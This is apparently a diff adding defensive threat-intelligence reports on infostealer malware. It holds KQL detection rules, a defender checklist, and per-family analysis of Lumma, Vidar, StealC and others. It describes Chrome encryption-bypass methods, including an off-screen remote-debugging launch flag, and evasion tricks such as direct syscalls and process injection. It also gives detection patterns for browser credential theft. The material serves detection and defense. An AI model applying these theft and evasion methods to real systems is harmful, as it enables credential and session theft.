| **Credential stuffing patterns** | High-velocity auth attempts across multiple accounts from same IP range |
|
||||||
|
| **Abnormal access patterns** | Accessing resources the user never accessed before; bulk data download |
|
||||||
|
|
||||||
|
### 7.2 SIEM Detection Rules for Stolen Credential Use
|
||||||
|
|
||||||
|
```kql
|
||||||
|
// Impossible travel detection
|
||||||
|
SigninLogs
|
||||||
|
| where ResultType == 0
|
||||||
|
| summarize by UserPrincipalName, IPAddress, Location, TimeGenerated
|
||||||
|
| join kind=inner (
|
||||||
|
SigninLogs
|
||||||
|
| where ResultType == 0
|
||||||
|
| summarize by UserPrincipalName, IPAddress, Location, TimeGenerated
|
||||||
|
) on UserPrincipalName
|
||||||
|
| where TimeGenerated1 > TimeGenerated and datetime_diff('minute', TimeGenerated1, TimeGenerated) < 60
|
||||||
|
| where Location != Location1
|
||||||
|
```
|
||||||
|
|
||||||
|
```kql
|
||||||
|
// Session token reuse from new device
|
||||||
|
AADSignInEventsBeta
|
||||||
|
| where SessionId != ""
|
||||||
|
| summarize DeviceCount=dcount(DeviceName), IPs=make_set(IPAddress) by SessionId, AccountUpn
|
||||||
|
| where DeviceCount > 1
|
||||||
|
```
|
||||||
|
|
||||||
|
### 7.3 Dark Web Monitoring Integration
|
||||||
|
|
||||||
|
Deploy continuous monitoring for:
|
||||||
|
- Corporate email addresses in stealer logs (Telegram channels, Genesis Market successors, Russian Market)
|
||||||
|
- Session cookies for corporate domains
|
||||||
|
- Corporate VPN credentials
|
||||||
|
- SSO/SAML tokens
|
||||||
|
- API keys and service account credentials
|
||||||
|
|
||||||
|
**Response SLA when detected:**
|
||||||
|
- Privileged accounts: Immediate password reset + session revocation (< 1 hour)
|
||||||
|
- Standard accounts: Reset within 4 hours
|
||||||
|
- Service accounts: Rotate credentials within 24 hours
|
||||||
|
- All: Review access logs for signs of unauthorized use during exposure window
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. The Modern Stealer Kill Chain and Where to Break It
|
||||||
|
|
||||||
|
```
|
||||||
|
[1] Delivery --> Smart App Control, application allowlisting, email filtering
|
||||||
|
|
|
||||||
|
[2] Execution --> ASR rules, HVCI, CET, EDR behavioral detection
|
||||||
|
|
|
||||||
|
[3] Credential --> Credential Guard (OS creds), LSASS PPL, browser DB access
|
||||||
|
Harvesting monitoring, DPAPI monitoring
|
||||||
|
|
|
||||||
|
[4] Session/Cookie --> DBSC (device binding), short TTL, App-Bound Encryption
|
||||||
|
Theft
|
||||||
|
|
|
||||||
|
[5] Data Staging --> File access monitoring, DLP, clipboard monitoring
|
||||||
|
|
|
||||||
|
[6] Exfiltration --> NDR, DNS monitoring, outbound traffic analysis
|
||||||
|
|
|
||||||
|
[7] Credential Use --> Impossible travel, DBSC validation failure, dark web monitoring,
|
||||||
|
(by attacker) Zero Trust continuous verification
|
||||||
|
```
|
||||||
|
|
||||||
|
**Highest-impact intervention points:**
|
||||||
|
1. **Stage 1 (Delivery):** Prevent execution entirely -- highest ROI
|
||||||
|
2. **Stage 4 (Cookie Theft):** DBSC makes stolen cookies worthless -- neutralizes the primary stealer objective
|
||||||
|
3. **Stage 7 (Credential Use):** Zero Trust + continuous monitoring catches what prevention missed
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Summary: Defender's Prioritized Checklist
|
||||||
|
|
||||||
|
### Must-Have (Non-Negotiable)
|
||||||
|
- [ ] ASR rules in Block mode (especially LSASS protection)
|
||||||
|
- [ ] LSASS PPL enabled
|
||||||
|
- [ ] Credential Guard enabled (Windows 11 Enterprise)
|
||||||
|
- [ ] HVCI enabled
|
||||||
|
- [ ] Session cookie TTL reduced to 1 hour
|
||||||
|
- [ ] Chrome remote debugging blocked via policy
|
||||||
|
- [ ] Sysmon deployed with credential-theft config
|
||||||
|
- [ ] Detection rules for browser DB access by non-browser processes
|
||||||
|
|
||||||
|
### Should-Have (High Impact)
|
||||||
|
- [ ] DBSC enabled for Google Workspace
|
||||||
|
- [ ] Passkeys/FIDO2 for privileged accounts
|
||||||
|
- [ ] Dark web credential monitoring
|
||||||
|
- [ ] Application allowlisting or Smart App Control
|
||||||
|
- [ ] Zero Trust with microsegmentation
|
||||||
|
- [ ] ITDR across identity stores
|
||||||
|
|
||||||
|
### Nice-to-Have (Defense in Depth)
|
||||||
|
- [ ] Browser isolation for high-value users
|
||||||
|
- [ ] BYOD elimination for sensitive access
|
||||||
|
- [ ] Purple team exercises for stealer TTPs
|
||||||
|
- [ ] AI-powered behavioral analytics (Vectra, CrowdStrike Charlotte AI)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sources
|
||||||
|
|
||||||
|
- [Vectra: Infostealers stole 1.8B credentials in 2025](https://www.vectra.ai/topics/infostealers)
|
||||||
|
- [Flashpoint: Proactive Defender's Guide to Infostealers](https://flashpoint.io/blog/proactive-defender-guide-infostealers/)
|
||||||
|
- [Flashpoint: Infostealer Gateway -- Defense Evasion Methods](https://flashpoint.io/blog/the-infostealer-gateway-uncovering-latest-methods-defense-evasion/)
|
||||||
|
- [DeepStrike: Infostealer Malware in 2025](https://deepstrike.io/blog/infostealer-malware-credential-theft-2025)
|
||||||
|
- [Chrome DBSC Developer Documentation](https://developer.chrome.com/docs/web-platform/device-bound-session-credentials)
|
||||||
|
- [Google Workspace: DBSC Session Binding](https://support.google.com/a/answer/15956470)
|
||||||
|
- [Google Workspace Blog: Defending with Passkeys and DBSC](https://workspace.google.com/blog/identity-and-security/defending-against-account-takeovers-top-threats-passkeys-and-dbsc)
|
||||||
|
- [Elastic Security Labs: Globally Distributed Stealers](https://www.elastic.co/security-labs/globally-distributed-stealers)
|
||||||
|
- [Elastic YARA Rules: Windows_Trojan_Lumma](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Lumma.yar)
|
||||||
|
- [Elastic YARA Rules: Windows_Infostealer_Generic](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_Generic.yar)
|
||||||
|
- [Microsoft: Lumma Stealer Analysis](https://www.microsoft.com/en-us/security/blog/2025/05/21/lumma-stealer-breaking-down-the-delivery-techniques-and-capabilities-of-a-prolific-infostealer/)
|
||||||
|
- [Microsoft: Detecting and Preventing LSASS Credential Dumping](https://www.microsoft.com/en-us/security/blog/2022/10/05/detecting-and-preventing-lsass-credential-dumping-attacks/)
|
||||||
|
- [Microsoft: ASR Rules Reference](https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction-rules-reference)
|
||||||
|
- [Microsoft: Credential Guard Overview](https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/)
|
||||||
|
- [Microsoft: HVCI Configuration](https://learn.microsoft.com/en-us/windows/security/hardware-security/enable-virtualization-based-protection-of-code-integrity)
|
||||||
|
- [Intel CET Technical Overview](https://www.intel.com/content/www/us/en/developer/articles/technical/technical-look-control-flow-enforcement-technology.html)
|
||||||
|
- [SpecterOps: Catching Credential Guard Off Guard](https://specterops.io/blog/2025/10/23/catching-credential-guard-off-guard/)
|
||||||
|
- [Connor McGarr: Kernel Mode Shadow Stacks](https://connormcgarr.github.io/km-shadow-stacks/)
|
||||||
|
- [Synacktiv: Windows Kernel Shadow Stack Mitigation Analysis](https://www.synacktiv.com/sites/default/files/2025-06/sstic_windows_kernel_shadow_stack_mitigation.pdf)
|
||||||
|
- [BlackHat USA 2025: KCFG and KCET](https://i.blackhat.com/BH-USA-25/Presentations/USA-25-McGarr-Out-Of-Control-KCFG-And-KCET.pdf)
|
||||||
|
- [Chrome Blog: Remote Debugging Port Security Changes](https://developer.chrome.com/blog/remote-debugging-port)
|
||||||
|
- [MITRE ATT&CK: Process Hollowing T1055.012](https://attack.mitre.org/techniques/T1055/012/)
|
||||||
|
- [MITRE ATT&CK: Credentials from Web Browsers T1555.003](https://www.startupdefense.io/mitre-attack-techniques/t1555-003-credentials-from-web-browsers)
|
||||||
|
- [SigmaHQ: Sigma Rule Repository](https://github.com/SigmaHQ/sigma)
|
||||||
|
- [Splunk: LSASS Credential Dumping Detection](https://research.splunk.com/endpoint/2c365e57-4414-4540-8dc0-73ab10729996/)
|
||||||
|
- [W3C: DBSC First Public Working Draft](https://www.w3.org/news/2025/first-public-working-draft-device-bound-session-credentials/)
|
||||||
|
- [Darknet: Credential Stuffing in 2025](https://www.darknet.org.uk/2026/03/credential-stuffing-in-2025-how-combolists-infostealers-and-account-takeover-became-an-industry/)
|
||||||
|
- [Panorays: Cyber Threat Landscape 2026](https://panorays.com/blog/cyber-threat-landscape-2026-emerging-risks/)
|
||||||
|
- [Cyble: Dark Web Monitoring 2026 Trends](https://cyble.com/knowledge-hub/dark-web-monitoring-trends/)
|
||||||
|
- [Israel CERT: Hunting Infostealers Practical Approach (Jan 2025)](https://www.gov.il/BlobFolder/reports/alert_1848/he/ALERT-CERT-IL-W-1848.pdf)
|
||||||
|
- [VMRay: May 2025 YARA Detection Highlights](https://www.vmray.com/may-2025-detection-highlights-vmray-threat-identifiers-config-extractors-yara-rules/)
|
||||||
|
- [Endpoint Evasion Techniques 2020-2025](https://windshock.github.io/en/post/2025-05-28-endpoint-security-evasion-techniques-20202025/)
|
||||||
|
- [Packetlabs: Hackers Beat Chrome's App-Bound Encryption](https://www.packetlabs.net/posts/hackers-beat-chromes-app-bound-encryption-for-session-hijacking/)
|
||||||
|
- [Jeff Appel: Credential Dumps with Defender for Endpoint](https://jeffreyappel.nl/detect-and-block-credential-dumps-with-defender-for-endpoint-attack-surface-reduction/)
|
||||||
@@ -0,0 +1,850 @@
|
|||||||
|
# Infostealer Threat Intelligence Report: 2025-2026
|
||||||
|
## Defensive Research - Per-Family Technical Analysis
|
||||||
|
|
||||||
|
**Date**: March 2026
|
||||||
|
**Purpose**: Understanding modern stealer techniques for detection and defense
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Table of Contents
|
||||||
|
1. [Executive Summary](#executive-summary)
|
||||||
|
2. [Chrome App-Bound Encryption Bypass Taxonomy](#chrome-abe-bypass-taxonomy)
|
||||||
|
3. [Per-Family Analysis](#per-family-analysis)
|
||||||
|
- Lumma Stealer (LummaC2)
|
||||||
|
- StealC v2
|
||||||
|
- Vidar 2.0
|
||||||
|
- Rhadamanthys
|
||||||
|
- Meduza Stealer
|
||||||
|
- Amatera (ACR Stealer rebrand)
|
||||||
|
- AuraStealer
|
||||||
|
- Katz Stealer
|
||||||
|
- EDDIESTEALER
|
||||||
|
- Hannibal Stealer
|
||||||
|
- Phemedrone
|
||||||
|
- Skuld (TMPN)
|
||||||
|
- WhiteSnake
|
||||||
|
- SantaStealer
|
||||||
|
- Logins.zip
|
||||||
|
4. [Novel Techniques Unique to 2025-2026](#novel-techniques)
|
||||||
|
5. [Cross-Family Technique Matrix](#technique-matrix)
|
||||||
|
6. [Detection Opportunities](#detection-opportunities)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Executive Summary
|
||||||
|
|
||||||
|
In 2025-2026, infostealers became the **fastest-growing malware category**, surpassing ransomware in deployment volume. Key statistics:
|
||||||
|
- **11.1 million** machines infected in 2025 alone
|
||||||
|
- **3.3 billion** credentials, cookies, and tokens stolen
|
||||||
|
- **1.8 billion** credentials confirmed stolen from 5.8 million devices
|
||||||
|
- **54%** of ransomware victims had domains in stealer dumps (Verizon DBIR)
|
||||||
|
- **183 million** Gmail credentials leaked in Oct 2025 from a single campaign
|
||||||
|
- StealC, Lumma, and RedLine accounted for **75%** of infections in 2024; by 2026 the landscape fragmented significantly after Lumma takedown
|
||||||
|
|
||||||
|
The market shifted toward **data-as-a-service (DaaS)** subscription models, with stolen data packaged, hosted, and resold on premium invite-only forums (Exploit, RAMP, XSS).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Chrome App-Bound Encryption Bypass Taxonomy
|
||||||
|
|
||||||
|
Google introduced App-Bound Encryption (ABE) in Chrome 127 (July 2024). Bypasses emerged **within 45 days**. The following distinct bypass approaches are used across families:
|
||||||
|
|
||||||
|
### Approach 1: COM-Based IElevator Service (SYSTEM-Level Decryption)
|
||||||
|
- Elevate to SYSTEM, then call `GoogleChromeElevationService` COM interface's `DecryptData` method
|
||||||
|
- Used by: **Glove Stealer, Meduza, WhiteSnake, early Lumma variants**
|
||||||
|
- Requires: SYSTEM privileges or elevation exploit
|
||||||
|
- Detection: Monitor COM calls to `GoogleChromeElevationService`, unusual SYSTEM-level access to Chrome user data
|
||||||
|
|
||||||
|
### Approach 2: Chrome Remote Debug Protocol (DevTools)
|
||||||
|
- Launch Chrome with `--remote-debugging-port=9222 --window-position=-9999,-9999` (off-screen)
|
||||||
|
- Connect via WebSocket, call deprecated `Network.getAllCookies` CDP method
|
||||||
|
- Used by: **Phemedrone, Xenostealer, some StealC variants**
|
||||||
|
- Requires: Ability to launch Chrome process
|
||||||
|
- Detection: Chrome.exe launched with `--remote-debugging-port`, WebSocket connections to localhost:9222
|
||||||
|
|
||||||
|
### Approach 3: Process Injection into Running Chrome
|
||||||
|
- Inject shellcode/DLL into chrome.exe process via remote thread injection or reflective DLL injection
|
||||||
|
- Extract encryption keys from active browser memory before ABE applies
|
||||||
|
- Used by: **Vidar 2.0, Lumma (later variants), Hannibal Stealer**
|
||||||
|
- Requires: Running Chrome process
|
||||||
|
- Detection: Code injection into chrome.exe (VirtualAllocEx/WriteProcessMemory/CreateRemoteThread targeting chrome.exe), named pipe communication
|
||||||
|
|
||||||
|
### Approach 4: DLL Injection for Key Extraction
|
||||||
|
- Inject DLL that calls Chrome's internal decryption functions from within Chrome's context
|
||||||
|
- Used by: **Katz Stealer**
|
||||||
|
- Requires: No admin privileges (runs as user)
|
||||||
|
- Detection: Unusual DLL loads in Chrome process, DLL injection signatures
|
||||||
|
|
||||||
|
### Approach 5: Headless Chrome Launch + Debug Injection
|
||||||
|
- Launch browser headlessly with debugging enabled, inject code into the running process
|
||||||
|
- Two-stage: First try traditional DPAPI, then escalate to memory injection
|
||||||
|
- Used by: **Vidar 2.0 (fallback chain)**
|
||||||
|
- Detection: Chrome launched with `--headless` and debug flags simultaneously
|
||||||
|
|
||||||
|
### Approach 6: Chromium Zero-Day Chain
|
||||||
|
- Exploit undisclosed Chromium vulnerabilities chained with ABE bypass + DPAPI server-side decryption
|
||||||
|
- Claims 99% credential recovery vs. ~43% for legacy DPAPI-only methods
|
||||||
|
- Used by: **Logins.zip** (claimed, unverified)
|
||||||
|
- Requires: No admin; ~150KB stub with polymorphic obfuscation
|
||||||
|
|
||||||
|
### Approach 7: Early Bird APC Injection
|
||||||
|
- Use Early Bird APC injection technique for fileless ABE bypass
|
||||||
|
- Used by: **DumpBrowserSecrets** tool
|
||||||
|
- Detection: APC injection patterns, NtQueueApcThread calls
|
||||||
|
|
||||||
|
### Approach 8: Fileless In-Memory Module Loading
|
||||||
|
- Load Chrome decryptor DLL entirely in memory, never touching disk
|
||||||
|
- Used by: **SantaStealer**
|
||||||
|
- Detection: Memory-only module loads, suspicious memory allocations without corresponding file I/O
|
||||||
|
|
||||||
|
**Google's response**: Planning replacement of ABE with **Device Bound Session Credentials (DBSC)**, binding sessions to device-unique cryptographic keys.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Per-Family Analysis
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 1. Lumma Stealer (LummaC2)
|
||||||
|
|
||||||
|
| Attribute | Detail |
|
||||||
|
|-----------|--------|
|
||||||
|
| **Language** | C/C++ |
|
||||||
|
| **Developer** | Storm-2477 (Microsoft tracking) |
|
||||||
|
| **Model** | MaaS: $250/mo standard, $1,000/mo premium, $20,000 source code |
|
||||||
|
| **Status** | Disrupted by law enforcement May 2025; resurgent by Oct 2025 with improved capabilities |
|
||||||
|
|
||||||
|
**Extraction Techniques:**
|
||||||
|
- Browsers: Chrome, Firefox, Edge, Brave - passwords, autofill, history, session cookies
|
||||||
|
- Crypto: Binance, Electrum, Ethereum, MetaMask wallets
|
||||||
|
- Apps: Email clients, 2FA extensions, FTP clients
|
||||||
|
|
||||||
|
**Evasion Techniques:**
|
||||||
|
- Remote thread injection from `MicrosoftEdgeUpdate.exe` into legitimate `chrome.exe` processes
|
||||||
|
- AutoIT scripts to hide and execute shellcode
|
||||||
|
- Code injection into legitimate system processes
|
||||||
|
- Advanced browser fingerprinting for C2 communication evasion (new in late 2025)
|
||||||
|
- Browser fingerprinting collects system/network/hardware/browser data via JavaScript payloads
|
||||||
|
|
||||||
|
**Chrome ABE Bypass:** Approach 3 (process injection into chrome.exe from trusted edge update process)
|
||||||
|
|
||||||
|
**Exfiltration:** HTTP-based C2 with browser fingerprinting layer for C2 evasion
|
||||||
|
|
||||||
|
**Novel/Unique Techniques:**
|
||||||
|
- **Browser fingerprinting as C2 tactic** (supplementing traditional C2 protocols)
|
||||||
|
- **EtherHiding**: Hosting malicious code in Binance Smart Chain smart contracts
|
||||||
|
- **ClickFix delivery**: Fake CAPTCHA verification pages
|
||||||
|
- Injection from `MicrosoftEdgeUpdate.exe` (trusted process) into `chrome.exe`
|
||||||
|
|
||||||
|
**Detection Opportunities:**
|
||||||
|
- MicrosoftEdgeUpdate.exe performing remote thread injection
|
||||||
|
- Chrome.exe with injected threads from external processes
|
||||||
|
- Outbound traffic with browser fingerprinting patterns to non-Google domains
|
||||||
|
- BSC smart contract calls from non-crypto applications
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2. StealC v2
|
||||||
|
|
||||||
|
| Attribute | Detail |
|
||||||
|
|-----------|--------|
|
||||||
|
| **Language** | C/C++ (new codebase in v2) |
|
||||||
|
| **Model** | MaaS with customizable builder |
|
||||||
|
| **Status** | Active, v2 released early 2025 |
|
||||||
|
|
||||||
|
**Extraction Techniques:**
|
||||||
|
- 23+ browsers with **server-side decryption** of credentials
|
||||||
|
- 100+ web plugins and extensions
|
||||||
|
- 15+ desktop crypto wallets
|
||||||
|
- Messaging: Telegram, Discord, Tox, Pidgin
|
||||||
|
- VPN clients: ProtonVPN, OpenVPN
|
||||||
|
- Mail: Thunderbird
|
||||||
|
|
||||||
|
**Evasion Techniques:**
|
||||||
|
- Themida commercial packer (heavy obfuscation)
|
||||||
|
- RC4 encryption for all strings with hardcoded key
|
||||||
|
- Encrypted network traffic (JSON-based protocol with RC4)
|
||||||
|
- Server-side decryption (sensitive operations happen on C2, not on victim)
|
||||||
|
|
||||||
|
**Chrome ABE Bypass:** Server-side decryption approach - sends encrypted data to C2 for decryption rather than decrypting locally
|
||||||
|
|
||||||
|
**Exfiltration:** JSON-based C2 protocol with RC4 encryption; supports Telegram bot notifications
|
||||||
|
|
||||||
|
**Payload Delivery:** EXE, MSI packages, PowerShell scripts
|
||||||
|
|
||||||
|
**Novel/Unique Techniques:**
|
||||||
|
- **Server-side credential decryption** - most browsers decrypted on the C2 server, not the victim machine
|
||||||
|
- **Rule-based payload delivery** - operator customizes payloads based on geolocation, HWID, installed software
|
||||||
|
- **Integrated builder** in control panel for per-target customization
|
||||||
|
|
||||||
|
**Detection Opportunities:**
|
||||||
|
- Themida-packed binaries performing browser data access
|
||||||
|
- RC4-encrypted JSON traffic patterns
|
||||||
|
- MSI package execution followed by browser credential file access
|
||||||
|
- Large outbound data transfers with RC4-like entropy patterns
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 3. Vidar 2.0
|
||||||
|
|
||||||
|
| Attribute | Detail |
|
||||||
|
|-----------|--------|
|
||||||
|
| **Language** | Pure C (complete rewrite from C++) |
|
||||||
|
| **Developer** | "Loadbaks" |
|
||||||
|
| **Model** | MaaS: $300 lifetime |
|
||||||
|
| **Status** | Released Oct 6, 2025; rapidly adopted after Lumma decline |
|
||||||
|
|
||||||
|
**Extraction Techniques:**
|
||||||
|
- Browser cookies, autofill, credentials from all major browsers
|
||||||
|
- Crypto wallet extensions and desktop apps
|
||||||
|
- Cloud credentials
|
||||||
|
- Steam accounts
|
||||||
|
- Telegram and Discord data
|
||||||
|
|
||||||
|
**Evasion Techniques:**
|
||||||
|
- **Polymorphic builder** - generates unique binary signatures per build
|
||||||
|
- **Control flow flattening** - obfuscates execution path
|
||||||
|
- Multi-threaded architecture (adapts thread count to hardware)
|
||||||
|
- Extensive anti-analysis: debugger detection, timing verification, system uptime validation, hardware profiling
|
||||||
|
- Immediate termination on any check failure
|
||||||
|
|
||||||
|
**Chrome ABE Bypass:** Approach 3+5 (two-stage):
|
||||||
|
1. First attempts traditional DPAPI decryption from Local State files
|
||||||
|
2. On failure, launches browsers with debugging enabled
|
||||||
|
3. Injects shellcode or reflective DLL into running browser processes
|
||||||
|
4. Extracts encryption keys from active browser memory via named pipes
|
||||||
|
5. Developer claims "unique appBound methods not found in the public domain"
|
||||||
|
|
||||||
|
**Exfiltration:** HTTP-based C2
|
||||||
|
|
||||||
|
**Novel/Unique Techniques:**
|
||||||
|
- **Pure C rewrite** eliminating C++ runtime overhead (performance + smaller footprint)
|
||||||
|
- **Adaptive multi-threading** - spawns more threads on higher-end systems for faster harvest
|
||||||
|
- **Two-stage ABE bypass chain** with graceful fallback
|
||||||
|
- **Reflective DLL injection + named pipe** key exfiltration from browser process
|
||||||
|
- Positioned to fill Lumma's market gap with aggressive $300 lifetime pricing
|
||||||
|
|
||||||
|
**Detection Opportunities:**
|
||||||
|
- Chrome/Edge/Brave launched with debugging flags by non-user process
|
||||||
|
- Named pipe creation associated with browser processes
|
||||||
|
- Reflective DLL injection patterns (VirtualAllocEx + WriteProcessMemory + CreateRemoteThread into browser)
|
||||||
|
- High-entropy polymorphic binaries with control flow flattening artifacts
|
||||||
|
- Rapid sequential access to multiple browser profile directories
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 4. Rhadamanthys (v0.9.x)
|
||||||
|
|
||||||
|
| Attribute | Detail |
|
||||||
|
|-----------|--------|
|
||||||
|
| **Language** | C/C++ with Lua plugin system |
|
||||||
|
| **Model** | MaaS: $299-$499/month |
|
||||||
|
| **Status** | Active, v0.9.2 as of 2025 |
|
||||||
|
|
||||||
|
**Extraction Techniques:**
|
||||||
|
- Browser passwords, autofill, cookies, credit cards (Chrome, Firefox)
|
||||||
|
- Crypto wallets: MetaMask, Exodus, Electrum
|
||||||
|
- System files: Documents under 20MB (PDFs, text, Word)
|
||||||
|
- Email and messaging apps
|
||||||
|
|
||||||
|
**Evasion Techniques:**
|
||||||
|
- Username check against sandbox naming patterns
|
||||||
|
- HWID comparison against predefined list
|
||||||
|
- **Steganographic payload delivery** - payloads hidden in WAV, JPEG, or PNG files
|
||||||
|
- Shared-secret decryption negotiated during C2 handshake
|
||||||
|
- FastLZ compression for C2 URL data
|
||||||
|
- Customized Base64 character set for obfuscation
|
||||||
|
- CPUID-based VM detection via instruction timing (RDTSC comparison)
|
||||||
|
- CoffeeLoader delivery chain
|
||||||
|
|
||||||
|
**Chrome ABE Bypass:** Via CoffeeLoader integration; specific method varies per deployment
|
||||||
|
|
||||||
|
**Exfiltration:** C2 with encrypted channel; payload download via steganographic images
|
||||||
|
|
||||||
|
**Novel/Unique Techniques:**
|
||||||
|
- **Lua plugin runtime** - extensible data theft via Lua scripts (unique among stealers)
|
||||||
|
- **AI-powered OCR** (v0.7.0+) - optical character recognition for capturing crypto wallet seed phrases from images/screenshots
|
||||||
|
- **Steganographic payload concealment** in common image/audio formats with shared-secret decryption
|
||||||
|
- **Device and browser fingerprinting** via Lua plugins
|
||||||
|
- **FastLZ + custom Base64** obfuscation layers
|
||||||
|
|
||||||
|
**Detection Opportunities:**
|
||||||
|
- Image/audio file downloads followed by suspicious memory operations (steganography extraction)
|
||||||
|
- Lua interpreter loaded by unknown processes
|
||||||
|
- CPUID instruction timing checks (anti-VM)
|
||||||
|
- Unusual document file access patterns (scanning files <20MB)
|
||||||
|
- CoffeeLoader behavior chain
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 5. Meduza Stealer
|
||||||
|
|
||||||
|
| Attribute | Detail |
|
||||||
|
|-----------|--------|
|
||||||
|
| **Language** | C++ (stealer), Python (C2 panel) |
|
||||||
|
| **Model** | MaaS |
|
||||||
|
| **Status** | Active, updated in 2025 |
|
||||||
|
|
||||||
|
**Extraction Techniques:**
|
||||||
|
- 100+ browsers
|
||||||
|
- Crypto wallets: MetaMask, TrustWallet, Coinbase, OKX, Enrypt (new in 2025)
|
||||||
|
- Messengers: Telegram, Discord
|
||||||
|
- Password managers: 1Password, LastPass
|
||||||
|
- Email clients: Outlook
|
||||||
|
- **Google Account token extraction** (new 2025)
|
||||||
|
|
||||||
|
**Evasion Techniques:**
|
||||||
|
- CPUID-based VM detection
|
||||||
|
- GeoID-based geo-restriction (terminates in CIS countries)
|
||||||
|
- Encoding + encryption for payload protection
|
||||||
|
- Optimized crypting stub (2025 update)
|
||||||
|
- Improved AV evasion
|
||||||
|
|
||||||
|
**Privilege Escalation:**
|
||||||
|
- COM object execution for elevation
|
||||||
|
- SeDebugPrivilege token modification
|
||||||
|
|
||||||
|
**Chrome ABE Bypass:** Approach 1 (COM-based IElevator service)
|
||||||
|
|
||||||
|
**Exfiltration:** Early C2 connection (unlike most stealers that collect first, connect later)
|
||||||
|
|
||||||
|
**Novel/Unique Techniques:**
|
||||||
|
- **Early C2 connection** - establishes C2 before data collection (unusual pattern)
|
||||||
|
- **Google Account token extraction** - direct Google account compromise
|
||||||
|
- **Privilege escalation via COM objects** - not just data theft but system-level access
|
||||||
|
- **SeDebugPrivilege** token manipulation for elevated access
|
||||||
|
|
||||||
|
**Detection Opportunities:**
|
||||||
|
- COM object instantiation for privilege escalation
|
||||||
|
- SeDebugPrivilege token manipulation
|
||||||
|
- Early outbound C2 connection before any file/browser access
|
||||||
|
- CPUID instruction execution patterns
|
||||||
|
- GeoID API calls at startup
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 6. Amatera Stealer (ACR Stealer Rebrand)
|
||||||
|
|
||||||
|
| Attribute | Detail |
|
||||||
|
|-----------|--------|
|
||||||
|
| **Language** | C++ |
|
||||||
|
| **Developer** | SheldIO (original ACR); source code sold 2024 |
|
||||||
|
| **Model** | MaaS: $199/mo to $1,499/year |
|
||||||
|
| **Status** | Active since June 2025 |
|
||||||
|
|
||||||
|
**Extraction Techniques:**
|
||||||
|
- Crypto wallets, browsers, messaging apps, FTP clients, email services
|
||||||
|
- Saved passwords, credit cards, history across Chrome, Firefox, Brave, Edge, Opera
|
||||||
|
|
||||||
|
**Evasion Techniques:**
|
||||||
|
- **WoW64 SysCalls** - direct syscalls via WoW64 transition gate to bypass user-mode hooks
|
||||||
|
- **NTSockets via \Device\Afd\Endpoint** - raw TCP networking bypassing ws2_32.dll and all Winsock APIs
|
||||||
|
- SSN extraction by scanning for `mov eax, imm32` (opcode B8) in ntdll
|
||||||
|
- Dynamic API resolution
|
||||||
|
- Anti-sandbox, anti-EDR by design
|
||||||
|
|
||||||
|
**Chrome ABE Bypass:** Integrated with broader credential theft; specific technique not documented but likely server-side
|
||||||
|
|
||||||
|
**Exfiltration:** Direct AFD device communication (NTSockets), bypassing all Windows networking API monitoring
|
||||||
|
|
||||||
|
**Novel/Unique Techniques (HIGHLY SIGNIFICANT):**
|
||||||
|
- **NTSockets implementation** - communicates directly with `\Device\Afd\Endpoint` using NtCreateFile and NtDeviceIoControlFile, completely bypassing ws2_32, WinHTTP, WinInet, and all commonly monitored networking APIs
|
||||||
|
- **WoW64 direct syscalls** - executes sensitive operations through the WoW64 transition gate, bypassing all user-mode hooks from EDR/sandbox
|
||||||
|
- **SSN dynamic extraction** - scans ntdll for syscall numbers at runtime
|
||||||
|
- Combined, these techniques make Amatera nearly **invisible to API-hooking-based security products**
|
||||||
|
|
||||||
|
**Detection Opportunities:**
|
||||||
|
- Direct `\Device\Afd\Endpoint` access via NtCreateFile (rare in legitimate software)
|
||||||
|
- WoW64 syscall transition patterns
|
||||||
|
- NtDeviceIoControlFile calls with AFD IOCTL codes
|
||||||
|
- Process accessing browser credential files without using standard networking APIs
|
||||||
|
- Heaven's Gate transitions in 32-bit processes
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 7. AuraStealer
|
||||||
|
|
||||||
|
| Attribute | Detail |
|
||||||
|
|-----------|--------|
|
||||||
|
| **Language** | C++ |
|
||||||
|
| **Model** | MaaS on Russian-language forums since July 2025 |
|
||||||
|
| **Status** | Active, 48+ C2 domains identified |
|
||||||
|
|
||||||
|
**Extraction Techniques:**
|
||||||
|
- 110+ browsers
|
||||||
|
- 70+ applications (wallets, 2FA tools)
|
||||||
|
- 250+ browser extensions
|
||||||
|
- Customizable collection scope via configuration
|
||||||
|
|
||||||
|
**Evasion Techniques:**
|
||||||
|
- **Indirect control-flow obfuscation** - all jumps/calls replaced with indirect variants calculated at runtime
|
||||||
|
- **Exception-driven API hashing** - triggers access violations deliberately, resolves APIs through custom exception handlers
|
||||||
|
- **Stack-based XOR string encryption**
|
||||||
|
- **Heaven's Gate** for NTDLL calls (32-bit to 64-bit transition)
|
||||||
|
- Anti-tampering via PE header checksum verification
|
||||||
|
- Breakpoint detection on return addresses
|
||||||
|
- **Hidden stack corruption** when hooks or breakpoints are detected (anti-debug trap)
|
||||||
|
- Constant obfuscation
|
||||||
|
|
||||||
|
**Chrome ABE Bypass:** Likely integrated; positioned as LummaC2 successor
|
||||||
|
|
||||||
|
**Exfiltration:** TLS-based C2 communication
|
||||||
|
|
||||||
|
**Novel/Unique Techniques:**
|
||||||
|
- **Exception-driven API resolution** - one of the most sophisticated API hiding techniques seen in stealers
|
||||||
|
- **Hidden stack corruption on hook detection** - rather than just terminating, corrupts the stack to crash analysis tools
|
||||||
|
- **Heaven's Gate** integration for mixing 32/64-bit execution
|
||||||
|
